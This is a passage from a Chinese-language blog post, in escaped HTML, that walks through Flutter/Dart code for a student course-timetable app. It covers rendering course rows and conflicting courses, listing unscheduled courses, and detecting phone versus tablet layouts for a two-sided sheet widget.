-1,我们将直接渲染对应课程,同时引入一个按钮,在按下去的时候显示所有冲突课程的信息。卡片高度是基于课程表高度计算的,稍后我将介绍。\u003c/p\u003e\n\u003cp\u003e当渲染每一周的时候,我们查询在那个稀疏数组中对应的元素,然后提取出第一个元素,也就是给用户渲染的课程信息。然后决定长度,方法是向后遍历,并且累加循环标志变量和长度。这其中,所有在这个范围内的冲突课程都要记录下来,为防止重复信息,使用 Set ,也就是不重复序列。最后,不重复序列去掉 -1 元素,因为代表没有课程信息。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Choice the day and render it!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 提取出第一个元素\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eplaces\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// The length to render.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoSet\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 决定长度,向后遍历,并且累加循环标志变量和长度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e9\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eplaces\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoSet\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 不重复序列去掉 -1 元素\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eremove\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Generate the row.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eclassCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eplaces\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eclassTableContentHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e最后说明课程表高度的计算。页面高度在 800px 是个节点,小于 800 的话,直接乘以 0.85 ,来隐去九十节课;大于 800 的话,页面高度减去上面两层的高度。\n最后,我使用了 \u003ccode\u003eSingleChildScrollView\u003c/code\u003e 包裹整个课程表,让八列可以同时滚动,防止页面高度小于 800px 的情况。\u003c/p\u003e\n\u003ch5 id=\"课程详细信息\"\u003e课程详细信息\u003c/h5\u003e\n\u003cp\u003e代码在 \u003ccode\u003e_buttomInformation\u003c/code\u003e函数中,他接受那个冲突课程 Set 。根据这个 Set 提供的索引,输出对应课程的时间信息,和该课程安排在第几周生效。\u003c/p\u003e\n\u003cp\u003e(这块我是抄某个同学的,他还提醒我要写上课程序号啥的)\u003c/p\u003e\n\u003cp\u003e使用 \u003ccode\u003eshowDialog\u003c/code\u003e 函数弹出信息,弹出的是一个 Column 列,总共是这个时间段内的所有课程。\u003c/p\u003e\n\u003ch5 id=\"未安排课程信息\"\u003e未安排课程信息\u003c/h5\u003e\n\u003cp\u003e很简单地用新页面胡乱搓了个()代码很简单:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eNotArrangedClassList\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eNotArrangedClassList\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;没有时间安排的科目\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003edataList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egenerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eListTile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esubtitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;编号: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e | \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;老师: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eteacher\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;没有数据\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"横屏幕和竖屏幕\"\u003e横屏幕和竖屏幕\u003c/h3\u003e\n\u003cp\u003e我的程序做了一点平板的优化,主要是我为了学 Flutter 响应式开发而搞出的副产品。\u003c/p\u003e\n\u003ch4 id=\"如何在-flutter-侦测横屏幕竖屏幕\"\u003e如何在 Flutter 侦测横屏幕竖屏幕\u003c/h4\u003e\n\u003cp\u003eFlutter 本身有很多的属性部件,比如 Theme 用来访问主题属性,Navigator 访问路由栈之类。这里我使用的是 MediaQuery.of(context).size,这是用来侦测当前页面长宽高状态的。实际上,上面我提到的很多高度检测啥的,都是用这个实现的。\u003c/p\u003e\n\u003cp\u003e而侦测屏幕位置,有两个思路:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e长宽比,长大于宽就是横着,否则就是竖着。\u003c/li\u003e\n\u003cli\u003e之前我看到一篇文章说宽度 480 是个坎,小于算竖着。\n我这里使用了后者的想法,前面的想法我就不写了:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e480\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e顺便说一句 LayoutBuilder, 是用来给部件加约束的组件,具体看官方指南吧。\u003c/p\u003e\n\u003ch4 id=\"我的-bothsideview\"\u003e我的 BothSideView\u003c/h4\u003e\n\u003cp\u003e先给大家看看这玩意到底是个啥东西:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/both.side.sheet.gif\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/both.side.sheet.gif\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如你所见,在竖屏的时候,他是从底往上呼出的,跟 \u003ca class=\"link\" href=\"https://m3.material.io/components/bottom-sheets/guidelines\" target=\"_blank\" rel=\"noopener\"\n 